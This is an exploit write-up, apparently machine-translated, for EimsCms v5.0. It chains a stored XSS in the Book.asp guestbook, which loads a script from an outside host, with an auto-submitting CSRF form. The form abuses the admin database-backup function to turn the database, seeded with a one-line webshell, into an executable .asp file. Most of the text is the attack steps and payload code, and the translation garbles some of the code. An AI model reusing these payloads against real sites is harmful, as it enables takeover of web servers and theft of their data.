EimsCms v5.0 XSS + CSRF = GetShell

EimsCms v5.0 XSS + CSRF = GetShell
# Author: B0mbErM @ n
# Time: 2011-01-28

------ GetShell -----

[1] fill in a sentence in the Book. asp mailbox and submit
[2] fill in CSRF in XSS statement in Book. asp mailbox
[3] Wait for the Administrator to trigger the XSS statement and connect to bem. asp in one sentence
[Required] Default background directory/Database Management
[Note] the management trigger XSS is to view messages in the background

------ X s -----

Book. asp
Write the XSS statement in your mailbox.
Use XSS to call CSRF. For example, to convert CSRF to JS, use
<Script src = http://521.im/xss.js> </SCRIPT & gt;

----- CSRF -----

<Form method = "post" action = "http: // 127.0.0.1: 99/admin/DataM. asp? Eims = Data & Action = bfstart ">
<Input name = "olddata" type = "text" id = "olddata" value = "../Data/eimsCMS. mdb" size = "45" readonly>
<Input name = "newdata" type = "text" id = "newdata" size = "45" value = ".../bem. asp">
<Input type = "submit" name = "Submit" value = "Start backup" id = "bem"/>
</Form>
<Script>
Document. getElementByIdx_x (bem). click ();
</Script>

----- Analysis -----

No symbolic escape for Book. asp mailbox or other places
Unfiltered submission statement